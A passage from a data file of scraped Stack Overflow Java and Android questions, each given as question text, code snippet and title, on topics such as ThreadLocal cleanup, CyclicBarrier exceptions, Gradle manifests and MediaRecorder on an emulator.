thinking is `` look for it in the documentation '' , however , the documentation is not clear about it.I use the library to get the FFT and I followed this short guide : http : //www.digiphd.com/android-java-reconstruction-fast-fourier-transform-real-signal-libgdx-fft/The problem arises when it uses : Both `` fft_cpx '' , `` tmpi '' , `` tmpr '' are float vectors . While `` tmpi '' and `` tmpr '' are used for calculate the magnitude , `` fft_cpx '' is not used anymore . I thought that getSpectrum ( ) was the union of getReal and getImmaginary but the values are all different.Maybe , the results from getSpectrum are complex values , but what is their representation ? I tried without fft_cpx=fft.getSpectrum ( ) ; and it seems to work correctly , but I 'd like to know if it is actually necessary and what is the difference between getSpectrum ( ) , getReal ( ) and getImmaginary ( ) .The documentation is at : http : //libgdx-android.com/docs/api/com/badlogic/gdx/audio/analysis/FFT.html public float [ ] getSpectrum ( ) Returns : the spectrum of the last FourierTransform.forward ( ) call . public float [ ] getRealPart ( ) Returns : the real part of the last FourierTransform.forward ( ) call . public float [ ] getImaginaryPart ( ) Returns : the imaginary part of the last FourierTransform.forward ( ) call.Thanks !",fft.forward ( array ) ; fft_cpx=fft.getSpectrum ( ) ; tmpi = fft.getImaginaryPart ( ) ; tmpr = fft.getRealPart ( ) ;,Using of getSpectrum ( ) in Libgdx library +Java,"A Sonar rule available since Aug 21 , 2019 ( squid : S5164 / RSPEC-5164 ) mandates to clean up `` ThreadLocal '' variables when no longer used . So , let 's take the following class ( JDK6 compatible ) : Sonar reports a major bug on the ThreadLocal declaration , with the following explanation : `` ThreadLocal '' variables should be cleaned up when no longer used ThreadLocal variables are supposed to be garbage collected once the holding thread is no longer alive . Memory leaks can occur when holding threads are re-used which is the case on application servers using pool of threads . To avoid such problems , it is recommended to always clean up ThreadLocal variables using the remove ( ) method to remove the current thread ’ s value for the ThreadLocal variable.Now , I adopted the ThreadLocal approach in order to reuse NumberFormat instances as much as possible , avoiding the creation of one instance per call , so I think if I called remove ( ) somewhere in the code , I would lose all the advantages of this solution . Am I missing something ? Thanks a lot .",public class ThreadLocalExample { private static final ThreadLocal < NumberFormat > formats = new ThreadLocal < NumberFormat > ( ) { @ Override protected NumberFormat initialValue ( ) { final NumberFormat nf = NumberFormat.getNumberInstance ( Locale.US ) ; nf.setMinimumFractionDigits ( 2 ) ; nf.setMaximumFractionDigits ( 2 ) ; nf.setGroupingUsed ( false ) ; return nf ; } } ; public static NumberFormat getFormatter ( ) { return formats.get ( ) ; } },How to clean up Java ThreadLocals in accordance with Sonar ? +Java,"I 'm working in an environment where developers use different IDEs - Eclipse , Netbeans and IntelliJ . I 'm using the @ Nonnull annotation ( javax.annotation.Nonnull ) to indicate that a method will never return null : I 'd like other developers to get a warning if they do one of the following : Change the method to return null without removing the @ Nonnull annotationUnnecessarily check for null for methods that are explicitly defined with @ Nonnull : if ( foo.getBars ( ) == null ) { ... do something ... } The first scenario is supported e.g . by IntelliJ . The second is not ; the clients are not warned that checking for null is unnecessary.We 're in any case planning to move towards returning clones of collections instead of the collections themselves , so is it better to forget @ Nonnull and do this instead : Edit : To clarify , I 'm not considering changing IDE 's for this . I 'd like to know whether what I described above is supported by the mentioned IDEs - or alternatively , if there is a good reason as to why it is not supported.I get the point about not relying too much on contracts . However , if I write getBars ( ) with the style in the last paragraph ( return a clone of the list ) , then e.g . IntelliJ flags a warning for any code that doesIf you choose to follow this warning and remove the null check , you seem to be equally reliant on the getBars ( ) implementation not changing . However , in this case you seem to be depending on implementation details instead of an explicit contract ( as is the case with @ Nonnull ) .Edit # 2 : I 'm not concerned about execution speed , null checks are indeed very fast . I 'm concerned about code readability . Consider the following : Option A : Option B : I think Option B is more readable than Option A . Since code is read more often than it is written , I 'd like to ensure all code I ( and others in our team ) write is as readable as possible .","@ Nonnullpublic List < Bar > getBars ( ) { return bars ; // this.bars is a final , initialized list } public List < Bar > getBars ( ) { return new ArrayList < Bar > ( bars ) ; } if ( foo.getBars ( ) == null ) { ... } if ( ( foo.getBars ( ) == null || foo.getBars ( ) .size ( ) < MAXIMUM_BARS ) & & ( baz.getFoos ( ) == null || baz.getFoos ( ) .size ( ) < MAXIMUM_FOOS ) ) { // do something } if ( foo.getBars ( ) .size ( ) < MAXIMUM_BARS & & baz.getFoos ( ) .size ( ) < MAXIMUM_FOOS ) { // do something }",@ Nonnull with different IDEs - warn about unnecessary null checks +Java,"I want it to be impossible for the soft keyboard to pop up due to an action in the my webView . That 's because I have a custom `` keyboard '' consisting of buttons below the webView . However , I do n't want to completely disable the keyboard for my application , as I have to use it in different contexts . It just should n't show up when the user clicks on an input field inside the webView . I also do n't want the keyboard to show and instantaneously hide again.I currently have this in my AndroidManifest.xml : I already tried disabling the focus of the webView , but then I ca n't enter text with my custom `` keyboard '' either , as the input field of the webView are n't focused.I also tried this in onCreate , but it did n't work ( the keyboard still showed up ) :","android : windowSoftInputMode= '' stateAlwaysHidden '' View focusedView = this.getCurrentFocus ( ) ; if ( focusedView == null ) return ; InputMethodManager manager = ( InputMethodManager ) getSystemService ( Context.INPUT_METHOD_SERVICE ) ; if ( manager == null ) return ; manager.hideSoftInputFromWindow ( focusedView.getWindowToken ( ) , InputMethodManager.HIDE_IMPLICIT_ONLY ) ; getWindow ( ) .setSoftInputMode ( WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN ) ;",Prevent keyboard in webView +Java,There is this code : And there is the output : Why does it print `` y '' eight times and no more . How can Java call println ( ) when StackOverflowError encountered ?,public class Main { public static void main ( final String [ ] args ) throws Exception { System.out.print ( `` 1 '' ) ; doAnything ( ) ; System.out.println ( `` 2 '' ) ; } private static void doAnything ( ) { try { doAnything ( ) ; } catch ( final Error e ) { System.out.print ( `` y '' ) ; } } } 1yyyyyyyy2,Understanding the Java stack +Java,"I need to modify the start script that gradle generates for the distTar task . I seem to be able to set unixStartScriptGenerator.template as shown below , but when I unpack the script from the tar my changes are not there.This is my full build.gradle : Not that it should matter , but my template , unixStartScriptTemplate.txt , is mostly the same as the original unixStartScript.txt , but with some extra comments and a line changing JAVACMD.If there is a better way to set this template , please let me know .","apply plugin : 'java'apply plugin : 'war'// to use the main method in Main , which uses Jettyapply plugin : 'application'mainClassName = 'com.example.Main'project.version = '2017.0.0.0'repositories { mavenLocal ( ) mavenCentral ( ) } task createStartScripts ( type : CreateStartScripts ) { // based on https : //github.com/gradle/gradle/tree/v3.5.0/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins def tplName = 'unixStartScriptTemplate.txt ' // this succeeds . I tried negating it to ensure that it runs , and it failed , so it 's running . assert project.file ( tplName ) .exists ( ) ; unixStartScriptGenerator.template = project.file ( tplName ) .newReader ( ) as TextResource// windowsStartScriptGenerator.template = resources.text.fromFile ( 'customWindowsStartScript.txt ' ) } dependencies { // mostly elided compile 'org.apache.logging.log4j : log4j-api:2.8.+ ' compile 'org.apache.logging.log4j : log4j-core:2.8.+ ' compile 'de.bwaldvogel : log4j-systemd-journal-appender:2.2.2 ' testCompile `` junit : junit:4.12 '' } task wrapper ( type : Wrapper ) { gradleVersion = ' 3.5 ' }",How do I change unixStartScriptGenerator.template in the createStartScripts task so that distTar uses my custom template file in build.gradle ? +Java,"I read about some of the details of implementation of ReentrantLock in `` Java Concurrency in Practice '' , section 14.6.1 , and something in the annotation makes me confused : Because the protected state-manipulation methods have the memory semantics of a volatile read or write and ReentrantLock is careful to read the owner field only after calling getState and write it only before calling setState , ReentrantLock can piggyback on the memory semantics of the synchronization state , and thus avoid further synchronization see Section 16.1.4.the code which it refers to : And I believe this is the simplified code of the nonfairTryAcquire in the ReentrantLock.Sync.So , the baffling part is how the setting of owner , which is merely a plain instance variable in AbstractOwnableSynchronizer , becomes visible to else if ( current == owner ) in other threads . Indeed , the read of owner is after the calling of getState ( ) ( and the state is a volatile qualified variable of AQS ) , but after the setting of owner , there 's nothing ( can impose synchronization semantics ) at all . Data race happens ? Well , in light of the authority of this book and the thoroughly tested code , two possibilities come to my mind : The full barrier ( be it mfence or 'lock'ed instruction ) before the setting owner = current does the hidden work . But from I 've learned from several famous articles , the full barrier cares more about the writes before it as well as the reads after it . Well , if this possibility holds true , then some sentences in `` JCIP '' might be inappropriately stated.I notice that 'geographically ' the setState ( c+1 ) really comes after owner = current in the code snippet , although it 's in another branch of if-else . If what the comments says is the truth , does it mean that the barrier inserted by setSate ( c+1 ) can impose synchronization semantics on owner = current in another branch ? I 'm a novice in this area , and several great blogs help me a lot in understanding what 's underlying the JVM ( no ordering ) : http : //mechanical-sympathy.blogspot.com/http : //preshing.com/http : //bartoszmilewski.comhttp : //psy-lob-saw.blogspot.com/as well as the always magnificent : http : //g.oswego.edu/dl/jmm/cookbook.htmlAfter doing my homework and searching the internet , I fail to come to a satisfying conclusion.Pardon me if this is too wordy or unclear ( English is not my mother tongue ) . Please help me with this , anything related is appreciated .","protected boolean tryAcquire ( int ignored ) { final Thread current = Thread.currentThread ( ) ; int c = getState ( ) ; if ( c ==0 ) { if ( compareAndSetState ( 0 , 1 ) ) { owner = current ; return true ; } } else if ( current == owner ) { setState ( c+1 ) ; return true ; } return false ; } final boolean nonfairTryAcquire ( int acquires ) { final Thread current = Thread.currentThread ( ) ; int c = getState ( ) ; if ( c == 0 ) { if ( compareAndSetState ( 0 , acquires ) ) { setExclusiveOwnerThread ( current ) ; return true ; } } else if ( current == getExclusiveOwnerThread ( ) ) { int nextc = c + acquires ; if ( nextc < 0 ) // overflow throw new Error ( `` Maximum lock count exceeded '' ) ; setState ( nextc ) ; return true ; } return false ; }",How does the piggybacking of current thread variable in ReentrantLock.Sync work ? +Java,"I have a separate thread running in my main class . It needs to send a message every 100 milliseconds , but EXACTLY every 100ms . I am wondering if it is accurate enough to be used as such , or if there is an alternative to have something happen exactly 10 times a second .","class ClockRun implements Runnable { @ Override public void run ( ) { double hourlyRate = Double.parseDouble ( prefs.getString ( `` hourlyRate '' , `` '' ) ) ; double elapsedTime = 0 ; do { while ( clockRun ) { double amount = hourlyRate / 360 /100 * elapsedTime ; elapsedTime++ ; Bundle clockData = new Bundle ( ) ; clockData.putString ( `` value '' , String.format ( `` $ % .2f '' , amount ) ) ; Message message = Message.obtain ( ) ; message.setData ( clockData ) ; handler.sendMessage ( message ) ; try { Thread.sleep ( 100 ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } } } while ( mainRun ) ; Notify.viaToast ( getApplication ( ) , `` Thread stopped . `` ) ; } }",Is Thread.sleep ( x ) accurate enough to use as a clock in Android ? +Java,"Let 's say that I have function Object f ( String a , String b ) and I want to call two different functions that return Optional Strings to get the parameters for f Optional < String > getA ( ) and Optional < String > getB ( ) . I can think of two solutions but neither look all that clean , especially when you have even more parameters:1:2 : Is there a cleaner way to do this ?","return getA ( ) .flatMap ( a - > getB ( ) .map ( b - > f ( a , b ) ) .get ( ) Optional < String > a = getA ( ) ; Optional < String > b = getB ( ) ; if ( a.isPresent ( ) & & b.isPresent ( ) ) { return f ( a.get ( ) , b.get ( ) ) ; }",Java 8 Mapping multiple optional parameters into a function +Java,"Disassembling some Java 8 code I found out that some invokestatic calls on static methods in interface ( particularly this was java.util.function.Function.identity ( ) ) uses InterfaceMethodRef in const pool ; this is what javap -s -c -v p show me : According to JVM 8 spec this is not possible , and when I 've used this instruction in classfile with version Java 7 ( major version=51 ) , it has thrown VerifyError on this instruction.However , when I 've changed the major version to 52 , it started working like a charm . Note that I am running on Oracle JDK 1.8.0_60 . I wonder why this change was needed ( the invoked method is linked statically , is n't it ? ) and whether this is documented anywhere .",15 : invokestatic # 66 // InterfaceMethod java/util/function/Function.identity : ( ) Ljava/util/function/Function ;,invokestatic on static method in interface +Java,"I have a bunch of JUnit tests that extend my base test class called BaseTest which in turn extends Assert . Some of my tests have a @ Category ( SlowTests.class ) annotation.My BaseTest class is annotated with the following annotation @ RunWith ( MyJUnitRunner.class ) . I 've set up a Gradle task that is expected to run only SlowTests . Here 's my Gradle task : When I run the task , my tests are n't run . I 've pinpointed this issue to be related to the custom runner MyJUnitRunner on the BaseTest . How can I set up my Gradle or test structure so that I can use a custom runner while using the Suite .","task integrationTests ( type : Test ) { minHeapSize = `` 768m '' maxHeapSize = `` 1024m '' testLogging { events `` passed '' , `` skipped '' , `` failed '' outputs.upToDateWhen { false } } reports.junitXml.destination = `` $ buildDir/test-result '' useJUnit { includeCategories 'testutils.SlowTests ' } }",How can I use a custom runner when using categories in Junit ? +Java,"I would like to do something like this : ... in one line , and i am wondering if it is possible with lambda expression.If it works with ArrayList < Integer > , it is okay for me .",int [ ] seq = new int [ N ] ; for ( int i = 0 ; i < N ; i++ ) { seq [ i ] = i ; },"How to create a int [ ] or a Collection < Integer > with the value 0,1,2 , ... , N in one line in Java using lambda expression ?" +Java,My question concerns about possible concurrency issues with mixing programmatic and declarative transactions . I am developing a legacy software ( Spring + Hibernate ) that handles database connections and transactions in a programmatic fashion.The software has newer modules that are using Spring data architecture with declarative transactions ( @ Transactional ) . We have experienced database deadlocks in rare cases with Microsoft SQL Server when newer Spring services are being called from inside `` manually '' opened transactions . I think the problem is that there are two nested transactions reading/writing same tables causing deadlocks.Is there a way to mix these transactions safely or use the already started transaction in both ? Should I just close the manually/programmatically opened transaction before calling Spring @ Service/ @ Repository methods ? Both Spring and HibernateUtil uses the same entity manager for database connections .,Session db = HibernateUtil.getSessionFactory ( ) .openSession ( ) ; db.beginTransaction ( ) ; // do stuffdb.getTransaction ( ) .commit ( ) ; Session db = HibernateUtil.getSessionFactory ( ) .openSession ( ) ; db.beginTransaction ( ) ; // do stuffspringService.getStuff ( ) ; // do stuffdb.getTransaction ( ) .commit ( ) ;,Mixing programmatic and declarative transactions in legacy software +Java,I am study Cyclic barrier.I am trying to write code sample : But I get java.util.concurrent.BrokenBarrierExceptionPlease help to understand what do I wrongP.S.Sometimes in output I see foollowing rows : Expected result - array with 5 elementsP.P.S.output sample : P.P.P.SIf make sleep interval much better - it works good .,"public class Main { public static final int PARSER_COUNT = 15 ; public static final int PRODUCT_TRESHOLD = 5 ; public static void main ( String args [ ] ) { ProductImporter productImporter = new ProductImporter ( PRODUCT_TRESHOLD ) ; for ( int i = 0 ; i < PARSER_COUNT ; i++ ) { new Thread ( new ProductParser ( productImporter , `` Parser '' + ( i + 1 ) ) ) .start ( ) ; } } } class ProductImporter { private CyclicBarrier barrier ; private List < String > parsedProducts ; public ProductImporter ( int productTreshold ) { parsedProducts = new ArrayList < String > ( ) ; barrier = new CyclicBarrier ( productTreshold , new Runnable ( ) { @ Override public void run ( ) { System.out.println ( `` start import `` + parsedProducts ) ; parsedProducts.clear ( ) ; } } ) ; } public void recharge ( String name ) { try { parsedProducts.add ( name ) ; /*System.out.println ( `` Added product to importList # '' +parsedProducts.size ( ) ) ; */ barrier.await ( ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } catch ( BrokenBarrierException e ) { e.printStackTrace ( ) ; } } } class ProductParser implements Runnable { private String name ; private Random rand ; private ProductImporter productImporter ; private int counter = 0 ; public ProductParser ( ProductImporter productImporter , String name ) { this.name = name ; this.productImporter = productImporter ; this.rand = new Random ( ) ; } public void run ( ) { try { while ( true ) { Thread.sleep ( rand.nextInt ( 12 ) ) ; System.out.println ( name + `` parsed product # '' + counter ) ; productImporter.recharge ( name + `` # '' + ( counter++ ) ) ; } } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } } } start import [ Parser7 , Parser4 , Parser9 , Parser10 , Parser2 , Parser13 , Parser6 ] start import [ Parser13 # 21 , Parser15 # 28 , Parser12 # 22 , Parser6 # 19 , Parser8 # 27 ] Parser9 parsed product # 23Parser1 parsed product # 19Parser15 parsed product # 29Parser14 parsed product # 23Parser11 parsed product # 22start import [ Parser9 # 23 , Parser1 # 19 , Parser15 # 29 , Parser14 # 23 , Parser11 # 22 ] Parser12 parsed product # 23Parser8 parsed product # 28Parser4 parsed product # 25Parser13 parsed product # 22Parser5 parsed product # 23start import [ Parser12 # 23 , Parser8 # 28 , Parser4 # 25 , Parser13 # 22 , Parser5 # 23 ] Parser7 parsed product # 23Parser3 parsed product # 26Parser6 parsed product # 20Parser14 parsed product # 24Parser10 parsed product # 25start import [ Parser7 # 23 , Parser3 # 26 , Parser6 # 20 , Parser14 # 24 , Parser10 # 25 ] Parser2 parsed product # 24Parser4 parsed product # 26Parser8 parsed product # 29Parser1 parsed product # 20Parser5 parsed product # 24Parser13 parsed product # 23start import [ Parser2 # 24 , Parser4 # 26 , Parser8 # 29 , Parser1 # 20 , Parser5 # 24 ] Parser5 parsed product # 25Parser9 parsed product # 24Parser11 parsed product # 23Parser7 parsed product # 24start import [ Parser5 # 25 , Parser9 # 24 , Parser11 # 23 , Parser7 # 24 ] Parser10 parsed product # 26Parser3 parsed product # 27Parser1 parsed product # 21Parser13 parsed product # 24Parser7 parsed product # 25start import [ Parser10 # 26 , Parser3 # 27 , Parser1 # 21 , Parser13 # 24 , Parser7 # 25 ] Parser2 parsed product # 25Parser10 parsed product # 27Parser7 parsed product # 26Parser15 parsed product # 30Parser12 parsed product # 24start import [ Parser2 # 25 , Parser10 # 27 , Parser7 # 26 , Parser15 # 30 , Parser12 # 24 ] Parser6 parsed product # 21Parser14 parsed product # 25Parser11 parsed product # 24Parser5 parsed product # 26Parser13 parsed product # 25Parser1 parsed product # 22Parser4 parsed product # 27Parser11 parsed product # 25Parser11 parsed product # 26Exception in thread `` Thread-12 '' java.util.concurrent.BrokenBarrierException at java.util.concurrent.CyclicBarrier.dowait ( CyclicBarrier.java:207 ) at java.util.concurrent.CyclicBarrier.await ( CyclicBarrier.java:362 ) at lection2.task3.ProductImporter.recharge ( Main.java:46 ) at lection2.task3.ProductParser.run ( Main.java:74 ) at java.lang.Thread.run ( Thread.java:745 ) java.util.concurrent.BrokenBarrierException at java.util.concurrent.CyclicBarrier.dowait ( CyclicBarrier.java:250 ) at java.util.concurrent.CyclicBarrier.await ( CyclicBarrier.java:362 ) at lection2.task3.ProductImporter.recharge ( Main.java:46 ) at lection2.task3.ProductParser.run ( Main.java:74 ) at java.lang.Thread.run ( Thread.java:745 ) java.util.concurrent.BrokenBarrierException at java.util.concurrent.CyclicBarrier.dowait ( CyclicBarrier.java:250 ) at java.util.concurrent.CyclicBarrier.await ( CyclicBarrier.java:362 ) at lection2.task3.ProductImporter.recharge ( Main.java:46 ) at lection2.task3.ProductParser.run ( Main.java:74 ) at java.lang.Thread.run ( Thread.java:745 ) java.util.concurrent.BrokenBarrierException at java.util.concurrent.CyclicBarrier.dowait ( CyclicBarrier.java:207 ) at java.util.concurrent.CyclicBarrier.await ( CyclicBarrier.java:362 ) at lection2.task3.ProductImporter.recharge ( Main.java:46 ) at lection2.task3.ProductParser.run ( Main.java:74 ) at java.lang.Thread.run ( Thread.java:745 ) java.util.concurrent.BrokenBarrierException at java.util.concurrent.CyclicBarrier.dowait ( CyclicBarrier.java:207 ) at java.util.concurrent.CyclicBarrier.await ( CyclicBarrier.java:362 ) at lection2.task3.ProductImporter.recharge ( Main.java:46 ) at lection2.task3.ProductParser.run ( Main.java:74 ) at java.lang.Thread.run ( Thread.java:745 ) java.util.concurrent.BrokenBarrierException at java.util.concurrent.CyclicBarrier.dowait ( CyclicBarrier.java:250 ) at java.util.concurrent.CyclicBarrier.await ( CyclicBarrier.java:362 ) at lection2.task3.ProductImporter.recharge ( Main.java:46 ) at lection2.task3.ProductParser.run ( Main.java:74 ) at java.lang.Thread.run ( Thread.java:745 ) java.util.concurrent.BrokenBarrierException at java.util.concurrent.CyclicBarrier.dowait ( CyclicBarrier.java:250 ) at java.util.concurrent.CyclicBarrier.await ( CyclicBarrier.java:362 ) at lection2.task3.ProductImporter.recharge ( Main.java:46 ) at lection2.task3.ProductParser.run ( Main.java:74 ) at java.lang.Thread.run ( Thread.java:745 ) java.util.concurrent.BrokenBarrierException at java.util.concurrent.CyclicBarrier.dowait ( CyclicBarrier.java:207 ) at java.util.concurrent.CyclicBarrier.await ( CyclicBarrier.java:362 ) at lection2.task3.ProductImporter.recharge ( Main.java:46 ) at lection2.task3.ProductParser.run ( Main.java:74 ) at java.lang.Thread.run ( Thread.java:745 )",Cause of java.util.concurrent.BrokenBarrierException +Java,"Was just wondering at the current point in time , what is a good combination of tools/frameworks/libraries for implementing a REST API on top of J2EE that integrates to a backend RDB and using OpenID for authentication.What I am looking to implement is a server component that provides a set of services , all of which will utilise OpenID authentication , and the services will retrieve or update information to/from a backend relational database environment . What I 'm interested in are : Also any pointers to good , current tutorials , books etc.Edit : Unfortunately I have n't had as much time to research the results to this question as I 'd have liked . At this stage I 've found that installing/setting up REST with Jersey was very quick and I believe I can use a ContainerRequestFilter to provide the OpenID support as per the article here : http : //plaincode.blogspot.com/2011/07/openid-authentication-example-in-jersey.html I intend on using OpenId4Java for the OpenId support , with the PAPE extensions to get users email address returned . I do n't need OAuth as I do n't need to access any of the users other OpenID details or info on their OpenID site from my server app.I 've had a look at the latest Spring , it looks very good and if I were needing to build a web client with my solution , or had more time to look at both , I could easily have ended up leaning that way . Thanks for the good answers and replies , hard to pick a single correct answer . I 've accepted yves answer because it is correct and the way I 'm going at the moment with minimal time to research properly , but awarded the bounty to cfontes answer , as it is also correct , and he 's replied with additional information and justification .","* application server options available ( e.g . Tomcat , Glassfish etc . ) * IDE 's ( e.g . Eclipse , Netbeans , IntelliJ etc . ) * additional components useful for implementing REST ( and JSON payloads ) * what is best practice/good technique/options available for database integration from the services ( hibernate via spring , hibernate directly , raw jdbc connections ... ) * for integrating authentication via OpenID - what is an appropriate integration point for any custom authentication mechanism within the J2EE environment - are there any commonly used solutions/plug-ins available for OpenId etc .",What is a good combination of tools currently for implementing REST/J2EE/Database + custom auth +Java,Can anyone explain me how different spacing affects the unary operator ? .,int i = 1 ; int j = i+ + +i ; // this will print j=2int k = i++ +i ; // this will print k=3int l = i+++i ; // this will print l=3int m = i++++i ; // compile time error,How does different spacing affect the unary operator ? +Java,"I 'm using webview.capturePicture ( ) to create a Picture object that contains all the drawing objects for a webpage.I can successfully render this Picture object to a bitmap using the canvas.drawPicture ( picture , dst ) with no problems.However when I use picture.writeToStream ( fos ) to serialize the picture object out to file , and then Picture.createFromStream ( fis ) to read the data back in and create a new picture object , the resultant bitmap when rendered as above is missing any larger images ( anything over around 20KB ! by observation ) .This occurs on all the Android OS platforms that I have tested 1.5 , 1.6 and 2.1.Looking at the native code for Skia which is the underlying Android graphics library and the output file produced from the picture.writeToStream ( ) I can see how the file format is constructed.I can see that some of the images in this Skia spool file are not being written out ( the larger ones ) , the code that appears to be the problem is in skBitmap.cpp in the method It writes out the bitmap fWidth , fHeight , fRowBytes , FConfig and isOpaque values but then just writes out SERIALIZE_PIXELTYPE_NONE ( 0 ) . This means that the spool file does not contain any pixel information about the actual image and therefore can not restore the picture object correctly.Effectively this renders the writeToStream and createFromStream ( ) APIs useless as they do not reliably store and recreate the picture data.Has anybody else seen this behaviour and if so am I using the API incorrectly , can it be worked around , is there an explanation i.e . incomplete API / bug and if so are there any plans for a fix in a future release of Android ? Thanks in advance .",void SkBitmap : :flatten ( SkFlattenableWriteBuffer & buffer ) const ;,Picture.writeToStream ( ) not writing out all bitmaps +Java,"I am using Kotlin 's MutableMap in my Android project . And trying to do some action per item . So here is my code.Everything just works fine at runtime , but my CI build fails with below lint error : I know we ca n't use JDK-8 's Map for Android projects until the min sdk is 24 . But why lint is considering it as JDK-8 's Map ? For further information I tried getting the Java code from Kotlin Bytecode option in AS and found that forEach is replaced with while loop and iterator as expected.So what could be reason and how to solve this ? Any lead will be appreciated .","private val uris : MutableMap < String , Uri > = mutableMapOf ( ) // ... Fill the items here ... uris.forEach { val ref = FirebaseFirestore.getInstanse ( ) .reference uploadFile ( ref , it.value ) } MyActivity.kt:142 : Error : Call requires API level 24 ( current min is 16 ) : java.util.Map # forEach [ NewApi ] uris.forEach { ~~~~~~~",Lint considers Kotlin MutableMap.forEach ( ) as java.util.Map.forEach ( ) +Java,"I would like to embed dependency information into my manifest file , so that I can expose this information at runtime . i.e . I can see which version of a library is used by a particular running instance of my service.I 'm using gradle to build my 'fatjar ' : And I have dependencies on various other libraries : How can I add the dependency information into my manifest file ? For example :","shadowJar { mergeServiceFiles ( ) archiveName `` service.jar '' exclude `` META-INF/*.SF '' exclude `` META-INF/*.DSA '' exclude `` META-INF/*.RSA '' manifest { attributes ( 'Main-Class ' : `` service.Service '' , 'Built-By ' : System.getProperty ( 'user.name ' ) , 'Built-Date ' : new Date ( ) , 'Built-JDK ' : System.getProperty ( 'java.version ' ) , 'Implementation-Version ' : version , 'Implementation-Title ' : project.name ) } } dependencies { compile group : 'mysql ' , name : 'mysql-connector-java ' , version : ' 5.1.39 ' ... } Manifest-Version : 1.0Implementation-Title : serviceImplementation-Version : Local BuildBuilt-By : meBuilt-Date : Wed Jun 22 14:13:53 BST 2016Built-JDK : 1.8.0_91Main-Class : service.ServiceDependency-mysql-connector-java : mysql : mysql-connector-java:5.1.39",use gradle to embed dependency information into manifest +Java,"Class declaration : I understand with Java 8 we can sort like : But is there a way I can sort it on sub-entities ' properties , for eg : P.S : All in for any one-liners .",class Entity { String name ; SubEntity subEntity ; // subEntity has a method getAmount ( ) which returns int } entities.sort ( Comparator.comparing ( Entity : :name ) ) ; entities.sort ( Comparator.comparing ( Entity : :SubEntity : :getAmount ( ) ) ) ;,Java 8 sort on Class member 's property +Java,"I have a rather large String that i need to split so I can put it into an array . As it is , there will be a semicolon followed by an Integer , followed by a space and this is where I need to split it.Say for instance , I have a String : I need to split it so that it becomes : I assume I can use something like : I just do n't understand RegEx that well yet.Thanks to anyone taking a lookAlso , the pattern where it should be split will always be a semicolon , followed by only one digit and then the space .",first aaa ; 0 second bbb ; 1 third ccc ; 2 first aaa ; 0 second bbb ; 1 third ccc ; 2 Pattern pattern = Pattern.compile ( ^ ( [ 0-9 ] *\s '' ) ; myArray = pattern.split ( string_to_split ) ;,Split a String on an Integer followed by a space +Java,"Briefly , I can not get MediaRecorder # record to work on Android 7.1.1 emulator and do n't understand why . Here are the further details : Environment : Operating System : Mac OS X El Capitan version 10.11.6IDE : AndroidStudio version 2.2.3Problem : I have written a sample app to demonstrate the issue . This app consists of a button with an OnClickListener which will initialize and configure MediaRecorder instance , prepare and start recording . After enabling the RECORD_AUDIO permission in settings , the code below runs correctly on the Android 7.0 API 24 Emulator ( x86_64 Graphics : Hardware ) downloaded by and used by the AVD manager , but yields following error on Android 7.1.1 API 25 ( with Google APIs ) Emulator ( x86_64 Graphics : Hardware ) : Error only on Android 7.1.1 API 25 java.lang.RuntimeException : start failed . at android.media.MediaRecorder.start ( Native Method ) QuestionDoes anyone know what the issue is ? Is there problem with my setup that does not cater for Android 7.1.1 ? This has been replicated on 2 Macs so far.Code : MainActivity.java : activity_main.xml : AndroidMainfest.xml : Thank you , and I apologize in advance if this has been answered elsewhere . I have searched for few days without success . Also , if there is ambiguity/lack of information then I will expand and answer questions.This is such a basic thing that I believe it must be an issue with the emulator . Can someone please help me with this ?","package com.abstractx1.testrecord ; import android.media.MediaRecorder ; import android.support.v7.app.AppCompatActivity ; import android.os.Bundle ; import android.util.Log ; import android.view.View ; import android.widget.Button ; import android.widget.Toast ; public class MainActivity extends AppCompatActivity { @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; Button recordButton = ( Button ) findViewById ( R.id.recordButton ) ; recordButton.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { String path = getFilesDir ( ) .getAbsolutePath ( ) + `` / '' + `` AudioRecording.3gp '' ; MediaRecorder mediaRecorder = new MediaRecorder ( ) ; mediaRecorder.setAudioSource ( MediaRecorder.AudioSource.MIC ) ; mediaRecorder.setOutputFormat ( MediaRecorder.OutputFormat.THREE_GPP ) ; mediaRecorder.setAudioEncoder ( MediaRecorder.OutputFormat.AMR_NB ) ; mediaRecorder.setOutputFile ( path ) ; try { mediaRecorder.prepare ( ) ; mediaRecorder.start ( ) ; } catch ( Exception e ) { Log.e ( `` DEBUG-MainActivity '' , `` Error '' , e ) ; Log.e ( `` DEBUG-MainActivity '' , Log.getStackTraceString ( e ) ) ; } Toast.makeText ( MainActivity.this , `` Recording started '' , Toast.LENGTH_LONG ) .show ( ) ; } } ) ; } } < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < RelativeLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : tools= '' http : //schemas.android.com/tools '' android : id= '' @ +id/activity_main '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : paddingBottom= '' @ dimen/activity_vertical_margin '' android : paddingLeft= '' @ dimen/activity_horizontal_margin '' android : paddingRight= '' @ dimen/activity_horizontal_margin '' android : paddingTop= '' @ dimen/activity_vertical_margin '' tools : context= '' com.abstractx1.testrecord.MainActivity '' > < TextView android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : text= '' Hello World ! '' / > < Button android : text= '' Record '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_centerVertical= '' true '' android : layout_centerHorizontal= '' true '' android : id= '' @ +id/recordButton '' / > < /RelativeLayout > < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < manifest xmlns : android= '' http : //schemas.android.com/apk/res/android '' package= '' com.abstractx1.testrecord '' > < uses-feature android : name= '' android.hardware.microphone '' android : required= '' false '' / > < uses-permission android : name= '' android.permission.RECORD_AUDIO '' / > < application android : allowBackup= '' true '' android : icon= '' @ mipmap/ic_launcher '' android : label= '' @ string/app_name '' android : supportsRtl= '' true '' android : theme= '' @ style/AppTheme '' > < activity android : name= '' .MainActivity '' > < intent-filter > < action android : name= '' android.intent.action.MAIN '' / > < category android : name= '' android.intent.category.LAUNCHER '' / > < /intent-filter > < /activity > < /application > < /manifest 